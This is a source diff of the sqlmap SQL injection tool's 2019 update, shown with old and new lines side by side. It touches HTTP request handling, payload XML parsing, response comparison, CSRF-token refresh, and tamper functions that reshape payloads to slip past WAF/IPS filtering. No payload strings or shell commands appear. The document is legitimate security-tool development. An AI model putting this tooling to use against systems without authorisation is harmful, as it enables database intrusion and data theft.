from lib.core.data import kb from lib.core.data import kb
from lib.core.data import paths from lib.core.data import paths
@@ -26,6 +27,7 @@ class HTMLHandler(ContentHandler):
self._dbms = None self._dbms = None
self._page = (page or "") self._page = (page or "")
self._lower_page = self._page.lower() self._lower_page = self._page.lower()
self._urldecoded_page = urldecode(self._page)
self.dbms = None self.dbms = None
@@ -47,7 +49,7 @@ class HTMLHandler(ContentHandler):
keywords = sorted(keywords, key=len) keywords = sorted(keywords, key=len)
kb.cache.regex[regexp] = keywords[-1].lower() kb.cache.regex[regexp] = keywords[-1].lower()
if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._page, re.I): if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._urldecoded_page, re.I):
self.dbms = self._dbms self.dbms = self._dbms
self._markAsErrorPage() self._markAsErrorPage()
+7 -3
View File
@@ -1,11 +1,12 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import os import os
import re
from xml.etree import ElementTree as et from xml.etree import ElementTree as et
@@ -17,6 +18,9 @@ from lib.core.exception import SqlmapInstallationException
from lib.core.settings import PAYLOAD_XML_FILES from lib.core.settings import PAYLOAD_XML_FILES
def cleanupVals(text, tag): def cleanupVals(text, tag):
if tag == "clause" and '-' in text:
text = re.sub(r"(\d+)-(\d+)", lambda match: ','.join(str(_) for _ in xrange(int(match.group(1)), int(match.group(2)) + 1)), text)
if tag in ("clause", "where"): if tag in ("clause", "where"):
text = text.split(',') text = text.split(',')
@@ -36,7 +40,7 @@ def cleanupVals(text, tag):
return text return text
def parseXmlNode(node): def parseXmlNode(node):
for element in node.getiterator('boundary'): for element in node.getiterator("boundary"):
boundary = AttribDict() boundary = AttribDict()
for child in element.getchildren(): for child in element.getchildren():
@@ -48,7 +52,7 @@ def parseXmlNode(node):
conf.boundaries.append(boundary) conf.boundaries.append(boundary)
for element in node.getiterator('test'): for element in node.getiterator("test"):
test = AttribDict() test = AttribDict()
for child in element.getchildren(): for child in element.getchildren():
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+4 -9
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -35,7 +35,6 @@ from lib.core.enums import PLACE
from lib.core.exception import SqlmapCompressionException from lib.core.exception import SqlmapCompressionException
from lib.core.settings import BLOCKED_IP_REGEX from lib.core.settings import BLOCKED_IP_REGEX
from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEV_EMAIL_ADDRESS
from lib.core.settings import EVENTVALIDATION_REGEX from lib.core.settings import EVENTVALIDATION_REGEX
from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
from lib.core.settings import META_CHARSET_REGEX from lib.core.settings import META_CHARSET_REGEX
@@ -220,10 +219,6 @@ def checkCharEncoding(encoding, warn=True):
try: try:
codecs.lookup(encoding.encode(UNICODE_ENCODING) if isinstance(encoding, unicode) else encoding) codecs.lookup(encoding.encode(UNICODE_ENCODING) if isinstance(encoding, unicode) else encoding)
except (LookupError, ValueError): except (LookupError, ValueError):
if warn and ' ' not in encoding:
warnMsg = "unknown web page charset '%s'. " % encoding
warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS
singleTimeLogMessage(warnMsg, logging.WARN, encoding)
encoding = None encoding = None
if encoding: if encoding:
@@ -334,7 +329,7 @@ def decodePage(page, contentEncoding, contentType):
kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page)) kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
if kb.pageEncoding and kb.pageEncoding.lower() == "utf-8-sig": if (kb.pageEncoding or "").lower() == "utf-8-sig":
kb.pageEncoding = "utf-8" kb.pageEncoding = "utf-8"
if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling) if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
page = page[3:] page = page[3:]
@@ -347,7 +342,7 @@ def decodePage(page, contentEncoding, contentType):
retVal = match.group(0) retVal = match.group(0)
try: try:
retVal = unichr(int(match.group(1))) retVal = unichr(int(match.group(1)))
except ValueError: except (ValueError, OverflowError):
pass pass
return retVal return retVal
page = re.sub(r"&#(\d+);", _, page) page = re.sub(r"&#(\d+);", _, page)
@@ -390,7 +385,7 @@ def processResponse(page, responseHeaders, status=None):
continue continue
conf.paramDict[PLACE.POST][name] = value conf.paramDict[PLACE.POST][name] = value
conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % re.escape(value), conf.parameters[PLACE.POST]) conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % value.replace('\\', r'\\'), conf.parameters[PLACE.POST])
if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""): if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""):
kb.browserVerification = True kb.browserVerification = True
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+6 -2
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -137,10 +137,14 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "") seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "")
seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "") seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "")
if kb.heavilyDynamic:
seq1 = seq1.split("\n")
seq2 = seq2.split("\n")
seqMatcher.set_seq1(seq1) seqMatcher.set_seq1(seq1)
seqMatcher.set_seq2(seq2) seqMatcher.set_seq2(seq2)
ratio = round(seqMatcher.quick_ratio(), 3) ratio = round(seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio(), 3)
# If the url is stable and we did not set yet the match ratio and the # If the url is stable and we did not set yet the match ratio and the
# current injected value changes the url page content # current injected value changes the url page content
+139 -91
View File
@@ -1,14 +1,13 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import binascii import binascii
import compiler import compiler
import httplib import httplib
import json
import keyword import keyword
import logging import logging
import re import re
@@ -17,6 +16,7 @@ import string
import struct import struct
import time import time
import traceback import traceback
import urllib
import urllib2 import urllib2
import urlparse import urlparse
@@ -34,6 +34,7 @@ from lib.core.common import calculateDeltaSeconds
from lib.core.common import checkSameHost from lib.core.common import checkSameHost
from lib.core.common import clearConsoleLine from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import escapeJsonValue
from lib.core.common import evaluateCode from lib.core.common import evaluateCode
from lib.core.common import extractRegexResult from lib.core.common import extractRegexResult
from lib.core.common import findMultipartPostBoundary from lib.core.common import findMultipartPostBoundary
@@ -63,10 +64,13 @@ from lib.core.common import urlencode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.datatype import AttribDict
from lib.core.decorators import stackedmethod
from lib.core.dicts import POST_HINT_CONTENT_TYPES from lib.core.dicts import POST_HINT_CONTENT_TYPES
from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import ADJUST_TIME_DELAY
from lib.core.enums import AUTH_TYPE from lib.core.enums import AUTH_TYPE
from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import HINT
from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTP_HEADER
from lib.core.enums import HTTPMETHOD from lib.core.enums import HTTPMETHOD
from lib.core.enums import NULLCONNECTION from lib.core.enums import NULLCONNECTION
@@ -74,7 +78,7 @@ from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE from lib.core.enums import PLACE
from lib.core.enums import POST_HINT from lib.core.enums import POST_HINT
from lib.core.enums import REDIRECTION from lib.core.enums import REDIRECTION
from lib.core.enums import WEB_API from lib.core.enums import WEB_PLATFORM
from lib.core.exception import SqlmapCompressionException from lib.core.exception import SqlmapCompressionException
from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapConnectionException
from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapGenericException
@@ -86,6 +90,7 @@ from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
from lib.core.settings import DEFAULT_CONTENT_TYPE from lib.core.settings import DEFAULT_CONTENT_TYPE
from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import DEFAULT_USER_AGENT
from lib.core.settings import EVALCODE_KEYWORD_SUFFIX from lib.core.settings import EVALCODE_KEYWORD_SUFFIX
from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE
from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
@@ -96,6 +101,8 @@ from lib.core.settings import MAX_CONSECUTIVE_CONNECTION_ERRORS
from lib.core.settings import MAX_MURPHY_SLEEP_TIME from lib.core.settings import MAX_MURPHY_SLEEP_TIME
from lib.core.settings import META_REFRESH_REGEX from lib.core.settings import META_REFRESH_REGEX
from lib.core.settings import MIN_TIME_RESPONSES from lib.core.settings import MIN_TIME_RESPONSES
from lib.core.settings import MAX_TIME_RESPONSES
from lib.core.settings import IDS_WAF_CHECK_PAYLOAD
from lib.core.settings import IS_WIN from lib.core.settings import IS_WIN
from lib.core.settings import LARGE_CHUNK_TRIM_MARKER from lib.core.settings import LARGE_CHUNK_TRIM_MARKER
from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import PAYLOAD_DELIMITER
@@ -118,7 +125,6 @@ from lib.request.methodrequest import MethodRequest
from thirdparty.odict.odict import OrderedDict from thirdparty.odict.odict import OrderedDict
from thirdparty.socks.socks import ProxyError from thirdparty.socks.socks import ProxyError
class Connect(object): class Connect(object):
""" """
This class defines methods used to perform HTTP requests This class defines methods used to perform HTTP requests
@@ -168,9 +174,11 @@ class Connect(object):
warnMsg += "(e.g. 'https://help.ubuntu.com/community/Tor')" warnMsg += "(e.g. 'https://help.ubuntu.com/community/Tor')"
else: else:
warnMsg = "if the problem persists please check that the provided " warnMsg = "if the problem persists please check that the provided "
warnMsg += "target URL is valid. In case that it is, you can try to rerun " warnMsg += "target URL is reachable. In case that it is, "
warnMsg += "with the switch '--random-agent' turned on " warnMsg += "you can try to rerun with "
warnMsg += "and/or proxy switches ('--ignore-proxy', '--proxy',...)" if not conf.randomAgent:
warnMsg += "switch '--random-agent' and/or "
warnMsg += "proxy switches ('--ignore-proxy', '--proxy',...)"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
elif conf.threads > 1: elif conf.threads > 1:
@@ -357,14 +365,21 @@ class Connect(object):
if kb.proxyAuthHeader: if kb.proxyAuthHeader:
headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader
if not getHeader(headers, HTTP_HEADER.ACCEPT): if not conf.requestFile or not target:
headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE if not getHeader(headers, HTTP_HEADER.HOST):
headers[HTTP_HEADER.HOST] = getHostHeader(url)
if not getHeader(headers, HTTP_HEADER.HOST) or not target: if not getHeader(headers, HTTP_HEADER.ACCEPT):
headers[HTTP_HEADER.HOST] = getHostHeader(url) headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE
if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING): if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity" headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity"
elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
for header in headers:
if header.upper() == HTTP_HEADER.USER_AGENT.upper():
del headers[header]
break
if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE): if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE) headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE)
@@ -381,10 +396,6 @@ class Connect(object):
if conf.keepAlive: if conf.keepAlive:
headers[HTTP_HEADER.CONNECTION] = "keep-alive" headers[HTTP_HEADER.CONNECTION] = "keep-alive"
# Reset header values to original in case of provided request file
if target and conf.requestFile:
headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie})
if auxHeaders: if auxHeaders:
headers = forgeHeaders(auxHeaders, headers) headers = forgeHeaders(auxHeaders, headers)
@@ -407,8 +418,10 @@ class Connect(object):
ws.close() ws.close()
code = ws.status code = ws.status
status = httplib.responses[code] status = httplib.responses[code]
class _(dict): class _(dict):
pass pass
responseHeaders = _(ws.getheaders()) responseHeaders = _(ws.getheaders())
responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()] responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]
@@ -428,8 +441,10 @@ class Connect(object):
method = unicodeencode(method) method = unicodeencode(method)
req = MethodRequest(url, post, headers) req = MethodRequest(url, post, headers)
req.set_method(method) req.set_method(method)
else: elif url is not None:
req = urllib2.Request(url, post, headers) req = urllib2.Request(url, post, headers)
else:
return None, None, None
requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()]) requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()])
@@ -486,15 +501,16 @@ class Connect(object):
page = Connect._connReadProxy(conn) if not skipRead else None page = Connect._connReadProxy(conn) if not skipRead else None
if conn: if conn:
code = conn.code code = (code or conn.code) if conn.code == kb.originalCode else conn.code # do not override redirection code (for comparison purposes)
responseHeaders = conn.info() responseHeaders = conn.info()
responseHeaders[URI_HTTP_HEADER] = conn.geturl() responseHeaders[URI_HTTP_HEADER] = conn.geturl()
kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
else: else:
code = None code = None
responseHeaders = {} responseHeaders = {}
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
status = getUnicode(conn.msg) if conn else None status = getUnicode(conn.msg) if conn and getattr(conn, "msg", None) else None
kb.connErrorCounter = 0 kb.connErrorCounter = 0
@@ -577,13 +593,13 @@ class Connect(object):
page = page if isinstance(page, unicode) else getUnicode(page) page = page if isinstance(page, unicode) else getUnicode(page)
code = ex.code code = ex.code
status = getUnicode(ex.msg) status = getSafeExString(ex)
kb.originalCode = kb.originalCode or code kb.originalCode = kb.originalCode or code
threadData.lastHTTPError = (threadData.lastRequestUID, code, status) threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1 kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1
responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status) responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status)
if responseHeaders: if responseHeaders:
logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()]) logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
@@ -641,15 +657,8 @@ class Connect(object):
elif "forcibly closed" in tbMsg or "Connection is already closed" in tbMsg: elif "forcibly closed" in tbMsg or "Connection is already closed" in tbMsg:
warnMsg = "connection was forcibly closed by the target URL" warnMsg = "connection was forcibly closed by the target URL"
elif "timed out" in tbMsg: elif "timed out" in tbMsg:
if not conf.disablePrecon:
singleTimeWarnMessage("turning off pre-connect mechanism because of connection time out(s)")
conf.disablePrecon = True
if kb.testMode and kb.testType not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
kb.responseTimes.clear()
if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED): if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests") singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests")
kb.droppingRequests = True kb.droppingRequests = True
warnMsg = "connection timed out to the target URL" warnMsg = "connection timed out to the target URL"
elif "Connection reset" in tbMsg: elif "Connection reset" in tbMsg:
@@ -658,7 +667,7 @@ class Connect(object):
conf.disablePrecon = True conf.disablePrecon = True
if kb.testMode: if kb.testMode:
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is resetting 'suspicious' requests") singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests")
kb.droppingRequests = True kb.droppingRequests = True
warnMsg = "connection reset to the target URL" warnMsg = "connection reset to the target URL"
elif "URLError" in tbMsg or "error" in tbMsg: elif "URLError" in tbMsg or "error" in tbMsg:
@@ -740,16 +749,16 @@ class Connect(object):
if conn and getattr(conn, "redurl", None): if conn and getattr(conn, "redurl", None):
_ = urlparse.urlsplit(conn.redurl) _ = urlparse.urlsplit(conn.redurl)
_ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) _ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else ""))
requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", "\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1) requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1)
if kb.resendPostOnRedirect is False: if kb.resendPostOnRedirect is False:
requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", "\g<1>GET ", requestMsg) requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", r"\g<1>GET ", requestMsg)
requestMsg = re.sub(r"(?i)Content-length: \d+\n", "", requestMsg) requestMsg = re.sub(r"(?i)Content-length: \d+\n", "", requestMsg)
requestMsg = re.sub(r"(?s)\n\n.+", "\n", requestMsg) requestMsg = re.sub(r"(?s)\n\n.+", "\n", requestMsg)
responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, conn.code, status) responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, conn.code, status)
else: else:
responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status) responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status)
if responseHeaders: if responseHeaders:
logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()]) logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
@@ -768,7 +777,8 @@ class Connect(object):
return page, responseHeaders, code return page, responseHeaders, code
@staticmethod @staticmethod
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True): @stackedmethod
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False):
""" """
This method calls a function to get the target URL page content This method calls a function to get the target URL page content
and returns its page ratio (0 <= ratio <= 1) or a boolean value and returns its page ratio (0 <= ratio <= 1) or a boolean value
@@ -815,10 +825,14 @@ class Connect(object):
conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType))
if payload: if payload:
if kb.tamperFunctions: delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER)
if not disableTampering and kb.tamperFunctions:
for function in kb.tamperFunctions: for function in kb.tamperFunctions:
hints = {}
try: try:
payload = function(payload=payload, headers=auxHeaders) payload = function(payload=payload, headers=auxHeaders, delimiter=delimiter, hints=hints)
except Exception, ex: except Exception, ex:
errMsg = "error occurred while running tamper " errMsg = "error occurred while running tamper "
errMsg += "function '%s' ('%s')" % (function.func_name, getSafeExString(ex)) errMsg += "function '%s' ('%s')" % (function.func_name, getSafeExString(ex))
@@ -831,6 +845,18 @@ class Connect(object):
value = agent.replacePayload(value, payload) value = agent.replacePayload(value, payload)
if hints:
if HINT.APPEND in hints:
value = "%s%s%s" % (value, delimiter, hints[HINT.APPEND])
if HINT.PREPEND in hints:
if place == PLACE.URI:
match = re.search(r"\w+\s*=\s*%s" % PAYLOAD_DELIMITER, value) or re.search(r"[^?%s/]=\s*%s" % (re.escape(delimiter), PAYLOAD_DELIMITER), value)
if match:
value = value.replace(match.group(0), "%s%s%s" % (hints[HINT.PREPEND], delimiter, match.group(0)))
else:
value = "%s%s%s" % (hints[HINT.PREPEND], delimiter, value)
logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload.replace('\\', BOUNDARY_BACKSLASH_MARKER)).replace(BOUNDARY_BACKSLASH_MARKER, '\\')) logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload.replace('\\', BOUNDARY_BACKSLASH_MARKER)).replace(BOUNDARY_BACKSLASH_MARKER, '\\'))
if place == PLACE.CUSTOM_POST and kb.postHint: if place == PLACE.CUSTOM_POST and kb.postHint:
@@ -839,24 +865,18 @@ class Connect(object):
# with their HTML encoded counterparts # with their HTML encoded counterparts
payload = payload.replace('>', "&gt;").replace('<', "&lt;") payload = payload.replace('>', "&gt;").replace('<', "&lt;")
elif kb.postHint == POST_HINT.JSON: elif kb.postHint == POST_HINT.JSON:
if payload.startswith('"') and payload.endswith('"'): payload = escapeJsonValue(payload)
payload = json.dumps(payload[1:-1])
else:
payload = json.dumps(payload)[1:-1]
elif kb.postHint == POST_HINT.JSON_LIKE: elif kb.postHint == POST_HINT.JSON_LIKE:
payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"')
if payload.startswith('"') and payload.endswith('"'): payload = escapeJsonValue(payload)
payload = json.dumps(payload[1:-1])
else:
payload = json.dumps(payload)[1:-1]
payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"')
value = agent.replacePayload(value, payload) value = agent.replacePayload(value, payload)
else: else:
# GET, POST, URI and Cookie payload needs to be thoroughly URL encoded # GET, POST, URI and Cookie payload needs to be thoroughly URL encoded
if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode: if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper()) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode:
skip = False skip = False
if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE: if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper():
if kb.cookieEncodeChoice is None: if kb.cookieEncodeChoice is None:
msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]") # Reference: https://support.microsoft.com/en-us/kb/313282 msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]") # Reference: https://support.microsoft.com/en-us/kb/313282
kb.cookieEncodeChoice = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N', boolean=True) kb.cookieEncodeChoice = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N', boolean=True)
@@ -871,7 +891,7 @@ class Connect(object):
postUrlEncode = False postUrlEncode = False
if conf.hpp: if conf.hpp:
if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_API.ASP, WEB_API.ASPX)): if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_PLATFORM.ASP, WEB_PLATFORM.ASPX)):
warnMsg = "HTTP parameter pollution should work only against " warnMsg = "HTTP parameter pollution should work only against "
warnMsg += "ASP(.NET) targets" warnMsg += "ASP(.NET) targets"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
@@ -943,63 +963,77 @@ class Connect(object):
if conf.csrfToken: if conf.csrfToken:
def _adjustParameter(paramString, parameter, newValue): def _adjustParameter(paramString, parameter, newValue):
retVal = paramString retVal = paramString
match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString) match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString, re.I)
if match: if match:
retVal = re.sub(re.escape(match.group(0)), "%s=%s" % (parameter, newValue), paramString) retVal = re.sub("(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString)
else: else:
match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString) match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString, re.I)
if match: if match:
retVal = re.sub(re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString) retVal = re.sub("(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString)
return retVal return retVal
token = AttribDict()
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
